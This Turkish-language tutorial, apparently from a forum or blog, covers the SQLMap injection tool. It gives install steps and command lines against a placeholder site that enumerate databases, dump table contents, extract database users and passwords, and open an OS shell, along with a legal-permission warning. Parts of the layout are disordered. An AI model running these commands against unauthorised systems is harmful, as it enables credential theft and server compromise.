SQLMap, SQL enjeksiyonu (SQL Injection) açıklarını tespit etmek ve bu açıklardan yararlanarak hedef sistem üzerinde veri tabanı manipülasyonu yapmak amacıyla kullanılan açık kaynak kodlu bir güvenlik aracıdır. SQL enjeksiyonu, web uygulamalarındaki en yaygın ve tehlikeli güvenlik açıklarından biridir. SQLMap, bu tür açıkları otomatik olarak bulur ve sömürmek için gerekli komutları çalıştırır.
Bu komut, belirtilen URL'deki parametreleri inceleyerek SQL enjeksiyonu açıklarını tarar.
Açıklama:
Açıklama:
Açıklama:
Bu rehberle SQLMap’i temel seviyede kullanmayı öğrenmiş oldunuz. Daha ileri düzey kullanım için SQLMap'in resmi dokümantasyonuna göz atabilirsiniz.
SQLMap'in Özellikleri
- Farklı veri tabanı yönetim sistemlerini destekler (MySQL, PostgreSQL, Oracle, MSSQL, vb.)
- Hedef sistemdeki veritabanlarını, tabloları ve sütunları keşfetme.
- Veri tabanındaki bilgileri çekme (örneğin kullanıcı adları, parolalar).
- Hedef sistemde dosya yükleme ve çalıştırma.
- Gelişmiş SQL enjeksiyon teknikleri (örneğin, Union-based, Error-based, Time-based Blind, vb.)
SQLMap Nasıl Kullanılır?
SQLMap kullanımı basit ancak güçlü bir araçtır. Komut satırı üzerinden çalışır ve aşağıdaki gibi temel bir kullanım yapısına sahiptir
Bash:
sqlmap -u "http://hedefsite.com/vulnerablepage.php?id=1"
Adım 1: SQLMap Kurulumu
SQLMap'i kullanmaya başlamak için önce sisteminize yüklemeniz gerekir.- Linux/MacOS:
- Terminali açın ve aşağıdaki komutu çalıştırın
Bash:
sudo apt-get install sqlmap - Veya, GitHub'dan klonlayabilirsiniz
Bash:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-devcd sqlmap-dev
- Terminali açın ve aşağıdaki komutu çalıştırın
- Windows:
- SQLMap'i Resmi GitHub Sayfası üzerinden indirin.
- İndirme işlemi tamamlandıktan sonra, sqlmap.py dosyasını Python yüklü olan bir ortamda çalıştırabilirsiniz.
Adım 2: Basit Tarama
SQLMap ile bir web uygulamasında SQL enjeksiyonu açığı olup olmadığını test etmek için basit bir tarama komutunu çalıştırabilirsiniz
Bash:
sqlmap -u "http://hedefsite.com/vulnerablepage.php?id=1"
- -u: Hedef URL'yi belirtir.
- SQLMap, bu URL'deki id parametresini test eder ve olası SQL enjeksiyon açıklarını arar.
Adım 3: Veri Tabanı Bilgilerini Keşfetme
Hedef sistemin veri tabanında hangi veri tabanlarının bulunduğunu öğrenmek için şu komutu kullanabilirsiniz
Bash:
sqlmap -u "http://hedefsite.com/vulnerablepage.php?id=1" --dbs
- --dbs: Hedef sistemdeki tüm veri tabanlarını listeler.
Adım 4: Tabloları ve Sütunları Keşfetme
Belirli bir veri tabanındaki tabloları ve bu tablolardaki sütunları keşfetmek için şu komutları kullanabilirsiniz- Tabloları Listeleme
Bash:
sqlmap -u "http://hedefsite.com/vulnerablepage.php?id=1" -D veritabani_adi --tables - Sütunları Listeleme
Bash:
sqlmap -u "http://hedefsite.com/vulnerablepage.php?id=1" -D veritabani_adi -T tablo_adi --columns
- -D: Veri tabanı adını belirtir.
- --tables: Belirtilen veri tabanındaki tüm tabloları listeler.
- -T: Tablo adını belirtir.
- --columns: Belirtilen tablo içindeki sütunları listeler.
Adım 5: Veri Çekme
Belirli bir tablodan veri çekmek için şu komutu kullanabilirsiniz
Bash:
sqlmap -u "http://hedefsite.com/vulnerablepage.php?id=1" -D veritabani_adi -T tablo_adi -C sutun_adi --dump
- -C: Çekmek istediğiniz sütunun adını belirtir.
- --dump: Belirtilen sütundaki tüm verileri çeker.
Adım 6: Diğer Gelişmiş Kullanımlar
SQLMap'in birçok gelişmiş kullanımı vardır. İşte birkaç örnek:- SQL Enjeksiyonu (Blind SQL Injection)
Açıklama: --technique=B ile Blind SQL enjeksiyonu kullanılır.Bash:
sqlmap -u "http://hedefsite.com/vulnerablepage.php?id=1" --technique=B - Veri Tabanı Kullanıcıları ve Şifreleri
Açıklama: Bu komut, veri tabanı kullanıcılarını ve şifrelerini listelemeye çalışır.Bash:
sqlmap -u "http://hedefsite.com/vulnerablepage.php?id=1" --users --passwords - Komut Çalıştırma
Açıklama: Bu komut, hedef sistemde bir komut kabuğu (shell) açmaya çalışır.Bash:
sqlmap -u "http://hedefsite.com/vulnerablepage.php?id=1" --os-shell
SQLMap Kullanırken Dikkat Edilmesi Gerekenler
- Yasal İzin: Hedef sisteme yönelik herhangi bir güvenlik testi yapmadan önce, kesinlikle yasal izin almalısınız. Aksi takdirde, yasaları ihlal etmiş olursunuz.
- Doğru Hedef: SQLMap güçlü bir araçtır ve yanlış kullanıldığında ciddi sonuçlar doğurabilir. Yanlış bir hedef üzerinde çalışmak, hizmetin durmasına (DoS) veya veri kaybına neden olabilir.
- Güncellemeler: SQLMap'i düzenli olarak güncelleyin, çünkü yeni güvenlik açıkları ve veri tabanı yönetim sistemi (DBMS) sürümleri sürekli olarak güncellenir.
Sonuç
SQLMap, web güvenliği uzmanları için vazgeçilmez bir araçtır. SQL enjeksiyonu gibi yaygın bir güvenlik açığını otomatik olarak tespit edebilir ve bu açığı sömürmek için gerekli adımları atabilir. Ancak, bu gücü doğru ve etik bir şekilde kullanmak çok önemlidir.Bu rehberle SQLMap’i temel seviyede kullanmayı öğrenmiş oldunuz. Daha ileri düzey kullanım için SQLMap'in resmi dokümantasyonuna göz atabilirsiniz.